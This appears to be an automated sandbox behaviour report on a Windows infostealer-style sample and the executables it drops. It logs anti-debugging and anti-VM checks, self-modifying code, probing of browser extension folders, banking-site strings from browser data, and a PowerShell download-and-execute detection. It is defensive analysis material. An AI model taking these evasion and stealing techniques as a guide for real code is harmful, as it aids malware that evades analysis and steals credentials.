Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 222146 second address: 22214A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 22214A second address: 222150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 222150 second address: 222162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 ja 00007FEAC13E5376h 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 29998A second address: 299997 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 299997 second address: 2999A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2999A6 second address: 2999B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2999B3 second address: 2999CF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FEAC13E537Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jnl 00007FEAC13E5376h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2999CF second address: 2999D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2999D3 second address: 2999D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 298375 second address: 2983A7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEAC0C3567Ch 0x00000008 jne 00007FEAC0C35666h 0x0000000e jmp 00007FEAC0C35670h 0x00000013 jo 00007FEAC0C35678h 0x00000019 jmp 00007FEAC0C3566Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2984DC second address: 2984E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2984E2 second address: 2984E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 2984E6 second address: 298500 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEAC13E5376h 0x00000008 jnl 00007FEAC13E5376h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jc 00007FEAC13E537Ah 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 298500 second address: 298506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	RDTSC instruction interceptor: First address: 298506 second address: 298519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC13E537Fh 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 81FA4E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 81FB77 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 81FA48 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9B3C5D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A4DA95 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Special instruction interceptor: First address: AE8DE instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Special instruction interceptor: First address: AE84E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Special instruction interceptor: First address: 24F471 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Special instruction interceptor: First address: AC43A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Special instruction interceptor: First address: 25BFF4 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Special instruction interceptor: First address: 2E33D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3EE8DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3EE84E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 58F471 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3EC43A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 59BFF4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6233D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Special instruction interceptor: First address: 473BBF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Special instruction interceptor: First address: 61A0D4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Special instruction interceptor: First address: 618CC6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Special instruction interceptor: First address: 622645 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Special instruction interceptor: First address: 6A5C37 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Special instruction interceptor: First address: 14BE9E7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Special instruction interceptor: First address: 1686CC6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Special instruction interceptor: First address: 16E4FCA instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsBGDBAKFCFH.exe

Code function: 26_2_04A20763 rdtsc

26_2_04A20763

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1009636001\a01b32dfa9.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6932	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4340	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1528	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3840	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1512	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4716	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8812	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8800	Thread sleep count: 121 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8800	Thread sleep time: -3630000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8800	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe TID: 5060	Thread sleep count: 68 > 30
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe TID: 5060	Thread sleep count: 313 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE3EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

1_2_6CE3EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000020.00000002.2537790204.0000000000573000.00000040.00000001.01000000.0000000D.sdmp, unik.exe, 00000022.00000002.2538050060.00000000005FC000.00000040.00000001.01000000.0000000E.sdmp, d4a6d0bce7.exe, 00000024.00000002.2546786979.000000000163E000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Web Data.15.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Web Data.15.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Web Data.15.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000001.00000002.1821449773.0000000001236000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2547808242.0000000001498000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2547808242.000000000145A000.00000004.00000020.00020000.00000000.sdmp, unik.exe, 00000022.00000002.2547900697.0000000000C05000.00000004.00000020.00020000.00000000.sdmp, unik.exe, 00000022.00000002.2547900697.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Web Data.15.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: DocumentsBGDBAKFCFH.exe, 0000001A.00000003.1842301015.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}{
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Web Data.15.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: d4a6d0bce7.exe, 00000024.00000003.2530388995.0000000001CE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Web Data.15.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Web Data.15.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Web Data.15.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Web Data.15.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Web Data.15.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: skotes.exe, 00000020.00000002.2547808242.000000000146D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWO
Source: Web Data.15.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000001.00000002.1821449773.00000000011EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.15.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Web Data.15.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000001.00000002.1819369015.0000000000997000.00000040.00000001.01000000.00000003.sdmp, DocumentsBGDBAKFCFH.exe, 0000001A.00000002.1867264782.0000000000233000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001B.00000002.1913465755.0000000000573000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 0000001C.00000002.1926609742.0000000000573000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000020.00000002.2537790204.0000000000573000.00000040.00000001.01000000.0000000D.sdmp, unik.exe, 00000022.00000002.2538050060.00000000005FC000.00000040.00000001.01000000.0000000E.sdmp, d4a6d0bce7.exe, 00000024.00000002.2546786979.000000000163E000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.15.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Web Data.15.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: Web Data.15.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsBGDBAKFCFH.exe

Code function: 26_2_04A20786 Start: 04A20876 End: 04A20776

26_2_04A20786

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsBGDBAKFCFH.exe

Code function: 26_2_04A20763 rdtsc

26_2_04A20763

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF0AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_6CF0AC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_003B652B mov eax, dword ptr fs:[00000030h]		32_2_003B652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_003BA302 mov eax, dword ptr fs:[00000030h]		32_2_003BA302

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF0AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_6CF0AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2708, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBGDBAKFCFH.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBGDBAKFCFH.exe "C:\Users\user\DocumentsBGDBAKFCFH.exe"
Source: C:\Users\user\DocumentsBGDBAKFCFH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe "C:\Users\user~1\AppData\Local\Temp\1009625001\unik.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe "C:\Users\user~1\AppData\Local\Temp\1009635001\d4a6d0bce7.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF54760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

1_2_6CF54760

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE31C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

1_2_6CE31C30

Source: file.exe, file.exe, 00000001.00000002.1819369015.0000000000997000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: JaProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF0AE71 cpuid

1_2_6CF0AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe VolumeInformation
